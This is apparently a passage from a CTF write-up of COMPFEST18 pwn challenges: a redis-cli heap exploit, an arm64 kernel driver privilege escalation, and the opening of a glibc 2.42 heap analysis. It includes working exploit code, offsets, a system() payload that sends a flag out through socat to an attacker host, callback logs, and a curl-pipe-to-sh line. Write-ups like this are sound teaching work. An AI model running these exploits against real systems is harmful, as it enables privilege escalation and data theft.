}fd=-1 ( REDIS_INVALID_FD) keeps redisNetClose from closing a live socket; zeroed pointers make every free() a no-op; and free_privctx(privctx) is system("(cat /home/ctf/flag.txt || ...) | socat — TCP:me").
Three more details that had to be right:
- The 39 KB blob spans a live unsorted-bin chunk. Its header (
size,fd,bk) is rewritten with the exact original values — which I only know because of the leak. Get this wrong and glibc aborts inmallocbefore ever reaching the free. - Multiple feeds.
redisBufferReadreads 16 KB at a time and the loop stops as soon as a reply parses, so an integer reply would end the loop after one feed and truncate the blob. Instead node 8’s planted stale reply is$39800\r\n— a bulk header that only completes oncer->lenhas grown past256 + 8 + 39800 + 2, i.e. after all three feeds.39800is also deliberately larger than the free chunk (39 744 B) so the resultinghi_mallocgoes to the top of the heap instead of carving up the region I just wrote. - The reply is a string, so
dbsize < 0, soclusterManagerShowClusterInfoprints an error and returns early — straight intofreeClusterManager(), which frees node 0, then node 1 →redisFree(fake_ctx)→system()
First shell (well, first id command haha)
[0] stage1 blob sent
[8] LEAK 239 bytes
[8] libc=0x7990b3600000 heap=0x5e57f9432000 system=0x7990b365c560
[8] stage2 blob 39762 bytes
=== CALLBACK ===
cat: /home/ctf/flag.txt: No such file or directory
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),...No flag on my own deployed docker, obviously — but that’s progress! We’ve achieved arbitrary command execution, atleast.
Local container: real flag path
Rebuilt the challenge image verbatim with a placeholder flag, ran it, pointed the
exploit at it through the docker bridge:
=== FLAG CALLBACK from ('172.17.0.2', 57452) ===
COMPFEST18{f4k3_fl4g_f0r_l0c4l_t3st1ng}Reliability check, 5 runs 4/5
Now the remote solve:
Apparently we found this issue where we need to input CTFd access token, so we just get the token from CTFd settings page.
Since it required connection back to the host, I decided to solve this on my AWS EC2 VPS, on port 1337 and used it’s public VPS ip..
$ ./solve.sh 13.238.150.105 1337 34.2.22.80 30068 ctfd_0454...
[*] cluster address string : 13.238.150.105:1337@7 (21 chars)
exploit server listening on 1337 (callback 13.238.150.105:1337)
[0] stage1 blob sent
=================== attempt 1/2 ===================
[8] LEAK 239 bytes
[8] libc=0x7c32e29f2000 heap=0x58658351f000 system=0x7c32e2a4e560
[8] stage2 blob 39762 bytes
=== FLAG CALLBACK ===
COMPFEST18{07db3141e603a471987956d7dfc4f58d266c6ab72c00491e65f18fe3de}Boom, it worked!
Note — IP:port@BUSPORT must be 20–21 characters.
Flag:
COMPFEST18{07db3141e603a471987956d7dfc4f58d266c6ab72c00491e65f18fe3de}Second solution (intended path — by Author)
Apparently this path didn’t need libc address leak and they used House of Spirit overlapping chunk:
- bug is in clusterManagerNodeLoadInfo, you can provide SLOTS which are outside of the range 0–16384. this writes a 0x01 out of bound. you can provide multiple slots or even a range and 0x01 will be written entirely for that range
- you can provide multiple node “friends” which allows you to get this write multiple times
- to get an infoleak, you can abuse the AUTH command which is sent by redis-cli everytime it tries to connect to a friend node. the value is set as config.auth->username and password, which are strings in heap memory. they are one of the first things redis-cli allocates
- the AUTH command uses %s, so using the OOB write, you can add 0x01 bytes to the username or password, and every byte until a null is sent to the node
- theres a pointer to heap and to .text near there, so you can leak both. you dont need libc (other than offsets, but even that you dont need since there is a syscall gadget)
- after you get an infoleak, you need to groom the heap. theres a reply type called PUSH replies, these are basically out-of-band messages that get processed while redis-cli is waiting for the actual reply from the server
- PUSH replies are the same as an array, so you can have the heap allocate multiple strings to groom it
- what i did was replace a chunk that had size 0xf1 to become 0x1f1. with careful heap feng shui we can do a House of Spirit to get overlapping chunks. its mostly feng shui all the way down, until we can corrupt a redisReply object. this object has a vtable and using the heap and .text leaks we got before, we can do a COP->ROP chain to get RCE
Menfess
Try out our new menfess device!
nc 34.2.147.230 5002
The archive is 18 MB, which already tells you it isn’t a userland heap challenge:
├── Image <- 50 MB raw arm64 kernel
├── initramfs.cpio.gz
├── menfess.ko <- not stripped, with debug_info
├── run.sh
├── flag.txt <- COMPFEST18{FAKE_FLAG}
├── debug/System.map <- 237k symbols, very generous
└── src/
├── Makefile
└── menfess.c <- 145 linesKernel pwn, aarch64, and they gave us the source and a System.map. That’s a lot of help, which usually means the intended bug is findable but the exploitation is where the work is.
run.sh:
qemu-system-aarch64 -machine virt -m 512M -smp 1 -cpu cortex-a57 \
-kernel Image -initrd initramfs.cpio.gz \
-drive file=flag.txt,if=none,id=flag,format=raw,readonly=on \
-device virtio-blk-device,drive=flag \
-append "console=ttyAMA0 kaslr oops=panic panic=-1 quiet" \
-nographic -monitor /dev/null -no-rebootThree things I noted immediately:
- The flag is a block device, not a file. It’s attached as a raw virtue disk, so it shows up as
/dev/vda, which isroot:disk 0660. So the goal is genuinely root, not just read a file. kaslris on, and there’s nonokaslrto be found.oops=panic panic=-1 -no-reboot. Any wrong dereference kills the box outright. That rules out bruteforcing — which means I’ll have to be right on my first try.
The init script confirms the setup:
insmod /menfess.ko
mkdir -p /mnt/flag
ln -s /dev/vda /flag.txt
clear; cat banner.txt; chmod 400 banner.txt
chmod 777 /tmp
exec /bin/sh -c "exec setsid cttyhack setuidgid 1000:1000 /bin/sh"We land as uid 1000, and tmp is word-writable — a hint that they expect us to drop a file there (useful later if I’d needed modprobe_path).
Reading the driver
145 lines, thre ioctls. The object is quite dead simple:
#define MENFESS_SIZE 64
#define MENFESS_COUNT 8
struct Menfess {
char content[MENFESS_SIZE]; // 0x00..0x40
void (*send_func)(char *); // 0x40
}; // sizeof == 72
static struct Menfess *menfess_list[MENFESS_COUNT];Bug #1 — off-by-eight
case CMD_CREATE_MENFESS: {
...
if (req.size > sizeof(struct Menfess)) // <= 72, not <= 64 ***
return -EINVAL;
if (req.index >= MENFESS_COUNT)
return -EINVAL;
struct Menfess *obj = kzalloc(sizeof(struct Menfess), GFP_KERNEL);
obj->send_func = default_func;
memcpy(obj->content, req.data, req.size); // dest is 64 bytes ***
menfess_list[req.index] = obj;
return 0;
}The size is validated against sizeof(struct Menfess) (72) but copied into content , which is 64. Pass size == 72and the last 8 bytes land exactly on send_func. Note the ordering too: send_func is assigned before the memcpy, so our value wins.
An send_func is called, unconditionally, by the next ioctl:
case CMD_SEND_MENFESS:
...
obj->send_func(obj->content);So this is a straight arbitrary function-pointer call, with x0 pointing at 64 bytes of fully controlled kernel heap data. That’s a strong primitive, but note what it is not: I control the target and one register’s pointer, not the register’s value. commit_creds(&init_cred) needs x0 == &init_cred and x0 is stuck being a heap address. Now, keep that up in your mind, because it’ll come back later.
Bug #2 — missing bounds check
Compare the three handlers:
case CMD_CREATE_MENFESS: if (req.index >= MENFESS_COUNT) return -EINVAL; // ok
case CMD_SEND_MENFESS: if (req.index >= MENFESS_COUNT) return -EINVAL; // ok
case CMD_VIEW_MENFESS:
if (menfess_list[req.index] == NULL) // <- no check at all ***
return -EINVAL;
struct Menfess *obj = menfess_list[req.index];
if (copy_to_user(&((struct view_req __user *)arg)->data, obj, sizeof(*obj)))
return -EFAULT;re.index is an unsigned long, and it’s used raw. menfess_list + 8index can therefore be any address in the 64-bit space (it wraps) So VIEW gives:
read a pointer from an arbitrary address, then dump 72 bytes from wherever that pointer points.
A double dereference, not a plain arbitrary read. That distinction matters a lot — I can’t just say “read device_ktype", I’ll need to find a “slot in memory that already contains a pointer” to something whose layout I know.
Disassembly time
The source could be lying (it happens, sometimes based on my experience) so I checked the actual .ko :
f0: ldr x1, [x2, x1, lsl #3] ; menfess_list[index] -- no bound
f4: cbz x1, ...
f8: ldr x2, [x1, #64] ; obj->send_func
fc: mov x0, x1
100: blr x2 ; x0 == x1 == obj
...
1a0: ldr x1, [sp, #48] ; req.size
1a8: cmp x1, #0x48 ; 72
1ac: b.hi ... ; so size == 72 is allowed
...
1e4: str x3, [x0, #64] ; send_func = default_func
1e8: add x1, sp, #0x40
1ec: bl memcpy ; then overwrittenBoth bugs confirmed, and one bonus fact: at the blr, x1 is also obj . I noted that in case I found a two-argument gadget
Now, what are we up against?? 💀
Before designing anything, I wanted the kernel config. .config isn’t shipped, but CONFIG_IKCONFIG_PROC leaves a gzip blob in the image:
grep -abo IKCFG_ST Image # -> 17872216Carve between IKCFG_ST and IKCFG_ED , gunzip and you get the full config. The relevant lines:
CONFIG_RANDOMIZE_BASE=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=y <- module base != kernel base
CONFIG_UNMAP_KERNEL_AT_EL0=y <- KPTI
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_VMAP_STACK=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARM64_PTR_AUTH_KERNEL=y
CONFIG_ARM64_BTI=y
CONFIG_KALLSYMS_ALL=y
# no CONFIG_STATIC_USERMODEHELPER
# no CONFIG_CFI_CLANG (it's a GCC build)
# no CONFIG_SLAB_FREELIST_RANDOM / HARDENED_USERCOPY / KASANReading that list:
RANDOMIZE_MODULE_REGION_FULL=yis the annoying one. The obvious leak —VIEWindex 0 hands yousend_func == default_func, i.e. the module text base — is useless for findingcommit_creds, because the module region is randomized independently of the kernel image. I need a separate kernel leak.- PAC and BTI are configured but the CPU is
cortex-a57, which implements neither. Everypaciasp/autiasp/btiin the image is a NOP at runtime. So no pointer-auth on return addresses and no landing-pad enforcement on indirect branches. That makes JOP (Jump Oriented Programming) viable! - GCC build, so no kCFI — an indirect call can go anywhere 🎉
STRICT_KERNEL_RWX+ arm64’s PXN linear map means no shellcode on the heap and no ret2usr. Everything has to be existing kernel code.- No
STATIC_USERMODEHELPER, somodprobe_path/poweroff_cmdremain a viable fallback if I an get an arbitrary write.
Also, you remember that System.map was provided, right? That was an absolute gift from the gods, because everything we need is a fixed offset from _text :
ffff800080000000 T _text
ffff8000800e0388 T commit_creds
ffff800082b74f00 d init_cred
ffff8000816b3180 d device_ktype
ffff800082bfa730 D modprobe_path(Small aside: my first pass at grepping this file came back empty and for about thirty seconds I believed the symbols were stripped. My pattern had a stray leading space in it. Always check your greps)
Getting a lab
Since my box doesn’t have aarch64 QEMU (qemu-system-aarch64) and no cross-compiler, I decided to install with sudo apt-get :
sudo apt-get install -y gcc-aarch64-linux-gnu qemu-system-arm gdb-multiarchI rebuilt the intramfs with a debug /init that stays root an dumps /proc/kallsyms ( local/init.symbols), so I could check every assumption against ground truth before ever touching the remote.
The leak
I need a kernel-image pointer, and my primitive is “give me an address that contains a pointer, and I’ll dump 72 bytes from that pointer”.
Candidates I considered off the module’s data
| Slot | `*A` points to | Verdict |
|--------------------------------|----------------------------------------------|-------------------------------------------------------------------------------|
| `__this_module.list.next/prev` | `modules` list head in kernel `.data` | dumping there gives me list pointers back into the module, not a named symbol |
| `menfess_dev.list.prev` | `&misc_list` in kernel `.data` | same problem — the neighbours aren't stable |
| `menfess_dev.fops` | `&menfess_fops` in module rodata | only gives module text, which I already have and can't use |
| `menfess_dev.this_device` | the `struct device *` from `misc_register()` | ✅ Works |The last one wins. misc_register() calls device_create() which calls device_initialize() which does kobject_init(&dev->kobj, &device_ktype) . And struct device begins with its struct kobject:
struct kobject {
const char *name; // +0
struct list_head entry; // +8
struct kobject *parent; // +24
struct kset *kset; // +32
const struct kobj_type *ktype; // +40 <- &device_ktype
...
};ktype sits at offset 40, comfortably inside the 72 bytes VIEW hands back. device_ktype is a named symbol at a fixed address from _text. That’s my kernel base.
Though, I still need the address of menfess_dev.this_device, and the module base is randomized. But here’s the thing: the VIEW index is relative to menfess_list, and both menfess_list ( .bss) and menfess_dev ( .data) live in the same module memory region ( MOD_DATA). Their relative ofset is decided by the module loader from the ELF section table alone, so it’s identical on every boot and every machine running this .ko. I never need an absolute module address at all, I just needed the delta.
Booted the debug initramfs to measure it:
ffffa3f3ad99a000 b menfess_list [menfess]
ffffa3f3ad99a040 d menfess_dev [menfess]Delta is 0x40 — menfess_dev starts immediately after the 64-byte menfess_list array. So, indexing in 8-byte units past the array:
index 8 -> menfess_dev.minor (an int! small value, DO NOT dereference)
index 9 -> menfess_dev.name
index 10 -> menfess_dev.fops
index 11 -> menfess_dev.list.next
index 12 -> menfess_dev.list.prev
index 13 -> menfess_dev.parent
index 14 -> menfess_dev.this_device <- this oneIndex 14 it is. And index 8 is exactly why I couldn't just scan a range of indices to find the leak: minor is a small integer like 0x7f, and dereferencing it under oops=panic ends the run.
Validating leak without trusting struct offset
Rather than hardcore “offset 40”, the exploit scans all nine returned words for one that looks like device_ktype. arm64’s KASLR slide is 2 MB-aligned, so the low 21 bits of every kernel symbol survive randomization:
if ((c >> 48) == 0xffff && (c & 0x1fffff) == (OFF_DEVICE_KTYPE & 0x1fffff))
kbase = c - OFF_DEVICE_KTYPE;0x16b3180 & 0x1fffff == 0xb3180. A false positive would need a 21-bit match on a kernel-range pointer inside the same 72 bytes; in practice it hits ktype and nothing else. This also means the exploit survives struct kobject growing a field.
The call primitive: only x0, and it’s a pointer 💀
Now the interesting half. I have f(x0) where f is arbitrary and x0 is a heap pointer to 64 controlled bytes. What I want is commit_creds(&init_cred) . Things I threw out:
- Fake
struct credatx0, callcommit_credsdirectly. This is the average textbook move, butstruct credis ~176 bytes and I only control 64 (bytes 64–71 aresend func, 72–95 are slab padding, past that is the neighbouring object). I’d have to groomkmalloc-96neighbours to control the rest, andcommit_credstouches->user,->user_ns,->ucounts, keyrings — plenty of chances to eat a NULL deref, which is instant death here. Too fragile for a one-shot solve. prepare_kernel_cred(NULL)needsx0 == NULL; mine is a heap pointer, which it would happily treat it astask_struct.call_usermodehelper(path, argv, envp, wait)needs four registers.x2at the call site happens to hold the function pointer itself andx3is leftover garbage. —envpwould get dereferenced as an array of strings.- Overwrite
modprobe_path/poweroff_cmd, then trigger it. Genuinely attractive (/tmpis 777 for a reason), but writing a string needs an arbitrary write, and the only write-shaped gadgets take their value from a register I don’t control — I’d be writing a heap address, not/tmp/x - Shellcode/ret2usr. Dead on arrival because of PXN +
STRICT_KERNEL_RWX.
So what I actually need is a JOP gadget that reloads both the target and x0 from memoy x0 already points to:
ldr <reg>, [x0, #a]
ldr x0, [x0, #b]
blr <reg>That converts my one-register primitive into “call anything with anything”. So I decided to write a small scanner and carve .text out of the flat image (file offset = vaddr — 0xfffff8000800000000), decode fixed-width A64, and look back a few instructions from every br/ blr Xn:
def ldr_imm(i): # LDR Xt, [Xn, #imm] 64-bit unsigned offset
if (i & 0xFFC00000) == 0xF9400000:
return i & 31, (i >> 5) & 31, ((i >> 10) & 0xFFF) * 8
def branch_reg(i):
if (i & 0xFFFFFC1F) == 0xD61F0000: return "br", (i >> 5) & 31
if (i & 0xFFFFFC1F) == 0xD63F0000: return "blr", (i >> 5) & 3156 candidates, about a dozen with both offsets inside my 64-byte buffer. I disassembled the promising ones in context, and this is where the oops=panic constraint bit one more time: most of them are mid-function so entering there skips the prologue and the epilogue then pops a garbage x30. Even if commit_creds had already succeeded, the return would panic the box and I’d never get to read the flag. I needed a gadget with a balanced frame.cts_coc_crpyt_done+0x8 is exactly that:
ffff8000805649c8: paciasp <- enter here (NOP on a57)
ffff8000805649cc: stp x29, x30, [sp, #-16]! <- push
ffff8000805649d0: add x0, x0, #0x20
ffff8000805649d4: mov x29, sp
ffff8000805649d8: ldr x2, [x0, #16] ; x2 = *(obj + 0x30)
ffff8000805649dc: ldr x0, [x0, #24] ; x0 = *(obj + 0x38)
ffff8000805649e0: blr x2
ffff8000805649e4: ldp x29, x30, [sp], #16 <- pop
ffff8000805649e8: autiasp
ffff8000805649ec: ret <- clean return into the ioctlIt’s just the tail of a crypto completion callback ( skcipher_request_complete inlined), but read as a gadget it is precisely:
call( *(obj + 0x30), *(obj + 0x38) ) and then return normallyBoth operands are at offsets 48 and 56 — inside content[] . And because I enter at the paciasp rather after it, the push and the pop match, x30 is intact, and the ioctl unwinds like nothing happened. That’s what makes this a repeatable primitive rather than a one-way trip.
Layout of the 72-byte payload:
content[ 0..48] 0
content[48..56] kbase + commit_creds
content[56..64] kbase + init_cred
send_func kbase + cts_cbc_crypt_done + 8 <- the overflowing 8 bytesSEND → gadget → commit_creds(&init_cred) → we’re init's credentials, full capabilities, and the ioctl returns 0.
The exploit
Written freestanding — raw svc #0 syscalls, no libc — for one very practical reason: I have to get this binary into a busybox shell over a raw TCP socket. Static glibc is ~700 KB; this is 66 KB, and 2272 bytes after gzip | base64.The
Theexp.c I used to solve:
/* offsets from _text (ffff800080000000), straight out of debug/System.map */
#define OFF_DEVICE_KTYPE 0x16b3180UL
#define OFF_COMMIT_CREDS 0x000e0388UL
#define OFF_INIT_CRED 0x2b74f00UL
#define OFF_GADGET 0x005649c8UL /* cts_cbc_crypt_done+0x8 */
int fd = open_ro("/dev/menfess", 2);
struct view_req v = { .index = 14 };
ioctl3(fd, CMD_VIEW, &v);
u64 kbase = 0, *q = (u64 *)v.data;
for (int i = 0; i < 9; i++) {
u64 c = q[i];
if ((c >> 48) == 0xffff && (c & 0x1fffff) == (OFF_DEVICE_KTYPE & 0x1fffff)) {
kbase = c - OFF_DEVICE_KTYPE;
break;
}
}
struct create_req c = { .size = 72, .index = 0 };
*(u64 *)(c.data + 48) = kbase + OFF_COMMIT_CREDS;
*(u64 *)(c.data + 56) = kbase + OFF_INIT_CRED;
*(u64 *)(c.data + 64) = kbase + OFF_GADGET;
ioctl3(fd, CMD_CREATE, &c);
struct send_req s = { .index = 0 };
ioctl3(fd, CMD_SEND, &s);
if (sys(SYS_getuid, ...) == 0) { /* this part read /dev/vda, exec /bin/sh */ }My local run:
== running exploit as uid 1000 ==
[+] kernel base: 0xffffccb834e00000
[+] uid = 0x0000000000000000
[+] we are root
[+] /dev/vda:
COMPFEST18{local_fake_flag_for_testing_1234567890}Root shell works. Now let’s test it on remote.
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AABOIA==.sEqdXRA6fR7JkUgR2Bd+fA==
solution:Ahem, a redpwn proof of work (this is just to prevent bruteforcing for CTF events).
Now just add a PoW solver and now run it on remote:
[*] pow challenge: s.AABOIA==.z5pitK1STVO9XtBgchw2cA==
[*] solved in 17.8s
[*] uploading 2272 bytes in 6 chunks
66232 /tmp/exp
/tmp $ /tmp/exp
[+] kernel base: 0xffffb9ceba400000
[+] uid = 0x0000000000000000
[+] we are root
[+] /dev/vda:
COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}
/tmp #Flag:
COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}未来日記 (Mirai Nikki)
We’re given public.zip, after extracting:
$ ls
public.zip
$ mkdir pub && unzip -o public.zip -d pub
$ find pub -type f
pub/public/ld-linux-x86-64.so.2
pub/public/flag.txt
pub/public/chall
pub/public/libc.so.6
pub/public/docker-compose.yml
pub/public/Dockerfile
pub/public/chall.cWe got the source, a libc.so.6 and a matching ld-linux shipped alongside.
flag.txt is local fake flag, and the Dockerfile tells us where the real one lives:
FROM pwn.red/jail
COPY --from=ubuntu@sha256:7cc5e35f6567ee8c66d2abb4aab0fd866669e6207c237c3a8f0947a5c7f17092 / /srv
COPY ./chall /srv/app/run
COPY ./flag.txt /srv/app/flag.txt
ENV JAIL_PORT=1337pwn.red/jail chroots into /srv, so from inside the jail flag is at /app/flag.txt. The base image is an Ubuntu 25.10 rootfs, which is where the 2.42 libc comes from.
docker-compose.yml has read_only:true — so no writing files, no /tmp shenanigans. We need a shell ( or at least an arbitrary read) inside the process.
Source code Analysis
chall.c is 90 lines and it is exactly the usual classic notes menu:
#define NIKKI_MAX 7
#define NIKKI_MAXSZ 0x500
#define NIKKI_MINSZ 0x8
char *nikkis[NIKKI_MAX];
int sizes[NIKKI_MAX];Four menu entries. Let’s take them one at a time.
add() — bounds-checks idx into [0,7) and size into [0,0x500] , mallocs, and stores:
nikkis[idx] = nikki;
sizes[idx] = size;Note: it does not check whether nikkis[idx] was already occupied. Allocating over a live index just leaks the old chunk (it stays allocated, we just lose the pointer). That turns out to be useful, not a bug to avoid — it lets us make an unbounded number of “guard” allocations while only ever burning one of our seven slots.
delete() — bounds-checks idx , then:
free(nikkis[idx]);That’s it. No nikkis[idx] = NULL . So:
- the pointer stays valid after
free()→ use-after-free, delete()on the same index twice → double free,- and sizes[idx]` is never reset either.
edit() — bounds-checks idx, then:
read(0, nikkis[idx], sizes[idx]);Two things here that matter enormously later:
read()— not fgets, not a loop,. It returns as soon as some data is available, which means we can write a prefix of any length we like. That is the whole basis of every partial-pointer-overwrite in this exploit. Want to change only the lower 2 bytes of a pointer sitting at offset0x318? Then send exactly0x31abytes.sizes[idx]is whatever was set atadd()time and is "never" re-validated against the chunk's actual size. If we can arrange fornikkis[idx]to still hold a0x500-sizedsizes[idx]while the memory underneath has been re-partitioned into smaller chunks, we get a fat overlapping write window (Spoiler; that’s what happened)
predict() — the flavor function, and the one that made me stare at it for twenty minutes:
void predict() {
char* test = nikkis[0];
if (test == NULL){ printf("cant predict"); return; }
unsigned short secret = ((unsigned short)test) >> 12;
printf("TAKE THIS: %x\n", secret);
}Cast a 64-bit pointer down to unsigned short (keeps bits 0–15), then >> 12. So it prints bits 12–15 of nikkis[0] — four bits of a heap address. I disassembled it just to be sure the compiler did the obvious thing and it did:
1235: mov rax,QWORD PTR [rip+0x2e24] # 4060 <nikkis>
1261: shr ax,0xc
1269: movzx eax,WORD PTR [rbp-0xa]
127e: call 10f0 <printf@plt>shr ax, 0xc — yep, 16-bit shift, four bits out. Hold that thought, we’ll come back to it later and conclude something slightly depressing.
So the bug inventory is: UAF read/write into freed chunks, plus double free, plus a size/pointer desync we can manufacture. That’s a lot of primitive. The challenge isn’t finding the bug. The challenge is what glibc lets you do with it.
Protections, and the thing that changed everything: glibc 2.42
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: EnabledFull RELRO klls GOT overwrite. PIE means we don’t know the binary base. Fine, standard enough.
Then I discovered this:
$ strings libc.so.6 | grep "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.42-0ubuntu3.1) stable release version 2.42.2.42. This is very new. Everything I know about tcache internals is a suspect here. Also note:
$ readelf -lW libc.so.6 | grep LOAD
LOAD 0x000000 ... R 0x1000
LOAD 0x028000 ... R E 0x1000
LOAD 0x1c1000 ... R 0x1000
LOAD 0x22fba0 ... RW 0x1000p_align = 0x1000 . That’s worth checking explicitly, because if libc had been built with 2MB alignment its base would have bits 12–20 forced to zero and every “partial overwrite of a libc pointer” would be free. It isn’t, libc’s base has 4 random bits in positions 12–15 , and those four bits are going to be the entire cost of this exploit.
Useful offsets (from pwntools ELF parse of the provided libc):
| symbol | offset |
|---------------------------------------------|--------------------------------------|
| `main_arena` | `0x234ac0` |
| `_IO_list_all` | `0x2354c0` |
| `_IO_2_1_stderr_` | `0x2354e0` |
| `_IO_2_1_stdout_` | `0x2355c0` |
| `stderr` / `stdout` / `stdin` (the globals) | `0x2356a0` / `0x2356a8` / `0x2356b0` |
| `_IO_file_jumps` | `0x233030` |
| `_IO_wfile_jumps` | `0x233228` |
| `system` | `0x5c4c0` |
| `mp_` | `0x234180` |Local test rig — patch the binary to use the shipped loader/libc so gdb sees the real thing:
cp chall chall_local
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 chall_localThe real problem — zero read primitive
Here’s the thing that reframes the whole challenge, and it took me a couple of minutes to actually internalise:
There is no show().
Go back and look at the menu. add, delete, edit, predict. There is nothing that prints heap contents. The only printf calls in the binary are:
- constant strings (“yo”, the menu,
"illegal","what"), andprintf("TAKE THIS: %x\n", secret)— four bits.
And %x on a value we already know the provenance of is not a format-string bug.
So this is a fully blind heap exploit. Every technique I’d normally reach for starts with “free a big chunk into the unsorted bin, print it, get libc”. None of that exists here. We have to cause a leak using nothing but writes, and every write target has to be derived from something we can compute without knowing a single runtime address.
What do we not know?
- heap base: bits 12+ random.
predict()gives us bits 12–15 and nothing else. - libc base: bits 12+ random. We know nothing.
- binary base: bits 12+ random. We know nothing, and Full RELRO makes it useless anyway.
- stack: nothing.
What can we compute? Only two kinds of thing:
- Offsets within a structure we control (heap layout is deterministic given a fixed allocation sequence — we know every chunk’s offset from the heap base, just not the base).
- Low bits of pointers that already exist in memory, if we overwrite only some of the bytes. A libc pointer’s low 12 bits are fixed by the symbol offset; bits 12–15 are the 4 random bits; bits 16+ we keep by not writing them.
That second one is the entire exploit. Everything below is an elaborate machine for getting one raw, unmangled libc pointer into a position where edit() can chew off its low two bytes.
What predict() actually gives you (and why it’s less than it looks)
Four bits of heap. My first instinct was: that’s the low nibble of the safe-linking key.
Safe-linking (glibc ≥ 2.32):
#define PROTECT_PTR(pos, ptr) ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)The key is (&e->next >> 12q — i.e. bits 12+ of the chunk’s user pointer. predict() gives us bits 12–15 of a heap pointer, which is exactly the low 4 bits of that key. So for tcache poisoning we’d be missing bits 16+ of the key, and:
- a 1-byte fd overwrite needs key bits 0–7 → address bits 12–19 → 4 unknown bits → 1/16
- a 2-byte fd overwrite needs key bits 0–15 → address bits 12–27 → 12 unknown bits → 1/4096
So predict() buys us a 1/16 tcache poison within a 0x100 window, which is a real but very weak primitive — it can shift an allocation by up to 0xff bytes and that’s it.
Can we get more bits out of it?
I spent a while on this because it seemed like the intended path. The idea: nikkis[0] changes as we allocate, so cal l predict() on chunks at different offsets and look for carry propagation.
Get Vxmp’s stories in your inbox
Join Medium for free to get updates from this writer.
Let H be the heap base (page-aligned, so bits 0–11 are zero) and let a chunk sit at H + off with off known. predict returns bits12..15(H+off). Because H's low 12 bits are zero and off's low 12 bits can’t carry past bit 11 into anything we don’t already know:
bits12..15(H + off) = ( bits12..15(H) + bits12..15(off) + carry_from_below_bit_12 ) & 0xF
= ( bits12..15(H) + bits12..15(off) ) & 0xFThe carry out of bit 15 is discarded by the & 0xF, and no information about H's bits 16+ ever flows down into bits 12–15. So no matter how far we walk the heap, predict() returns the same four bits of entropy, forever. Growing the heap by megabytes (which we could do — add() oer a live index leaks chunks) changes nothing.
Conclusion: predict() is worth exactly 4 bits of heap and cannot be leveraged into more.
And here’s the punchline that I only appreciated later: the final exploit doesn’t use predict() at all. The path I found brute-forces 4 bits of libc, not heap, and gets them for free from an unmangled pointer. predict() is the intended nudge toward a heap-side tcache-poisoning solution; there’s a cleaner one that ignores it. (Which is a nice property — it means the exploit is deterministic given the libc nibble, and the nibble is only 1/16.)
Learning glibc 2.42’s malloc from literally SCRATCH
Before designing anything I needed to know what 2.42’s allocator actually looks like, because several of my assumptions were about to be wrong. I did this in two ways:
- disassembling the shipped libc
- pulling the extract source
objdump -d --no-show-raw-insn -M intel libc.so.6 > libc.asm
python3 -c "
import urllib.request
u='https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=malloc/malloc.c;hb=refs/tags/glibc-2.42'
open('malloc.c','wb').write(urllib.request.urlopen(u).read())"The tcache struct changed 💀
# define TCACHE_SMALL_BINS 64
# define TCACHE_LARGE_BINS 12 /* Up to 4M chunks */
# define TCACHE_MAX_BINS (TCACHE_SMALL_BINS + TCACHE_LARGE_BINS)
typedef struct tcache_perthread_struct
{
uint16_t num_slots[TCACHE_MAX_BINS];
tcache_entry *entries [TCACHE_MAX_BINS];
} tcache_perthread_struct;Two changes from what you might remember:
counts[]is nownum_slots[]— it counts remaining capacity, not occupancy. It starts atmp_.tcache_count(7), decrements ontcache_put, increments ontcache_get.- There are 76 bins, not 64. Bins 64–75 are a new large tcache with a different, sorted insertion scheme.
I confrimed the layout straight out of __libc_malloc:
b5702: mov rdx,rax
b5705: shr rdx,0x4
b5709: lea rsi,[rdx-0x2] ; rsi = tc_idx
b570d: cmp rsi,0x3f
b5711: ja b5758 ; tc_idx > 63 -> large tcache path
b5713: add rdx,0x10
b5717: mov rax,QWORD PTR [rcx+rdx*8+0x8] ; entries[tc_idx] (= tcache + tc_idx*8 + 0x98)
b571c: test rax,rax
b571f: je b5750
b5721: test al,0xf
b5723: jne b5810 ; "malloc(): unaligned tcache chunk detected"
b5729: mov rdi,rax
b572c: shr rdi,0xc
b5730: xor rdi,QWORD PTR [rax] ; REVEAL_PTR(e->next)
b5733: mov QWORD PTR [rcx+rdx*8+0x8],rdi
b5738: add WORD PTR [rcx+rsi*2],0x1 ; ++num_slots[tc_idx] <-- !!num_slots at tcache+0 , entries at tcache+0x98 . And critically, entries[I] (the list head) is stored raw; only e->next is mangled. So i you can write to the tcache struct itself you get a completely unprotected arbitrary-allocation primitive… but you’d need a pointer to the tcache struct, which neds a working tcache poison, which needs the heap key. Cool, I guess.
Also from that snippet, is the large tcache live by default?
.tcache_max_bytes = MAX_TCACHE_SMALL_SIZE, /* tidx2usize(63) = 0x408 */nb < 0x408 for the tcache path, and csize2tidx(0x400) = 62 < 64 . So tc_idx can never exceed 64 without the default tunables — the large tcache is dead code here. Which means the old rule still holds: chunks with size ≥ 0x410 skip the tcache entirely and go staright to the unsorted bin. Our max request is 0x500 → chunk 0x510 . That’s above the line! Good, I guess.
free()’s ordering
if (size < mp_.tcache_max_bytes && tcache != NULL)
{
tcache_entry *e = (tcache_entry *) chunk2mem (p);
if (e->key == tcache_key) return tcache_double_free_verify (e);
size_t tc_idx = csize2tidx (size);
if (tc_idx < TCACHE_SMALL_BINS)
if (tcache->num_slots[tc_idx] != 0) return tcache_put (p, tc_idx);
...
}
_int_free_chunk (arena_for_chunk (p), p, size, 0);and malloc()'s:
if (nb < mp_.tcache_max_bytes)
{
size_t tc_idx = csize2tidx (nb);
if (tc_idx < TCACHE_SMALL_BINS)
if (tcache->entries[tc_idx] != NULL) return tag_new_usable (tcache_get (tc_idx));
...
}
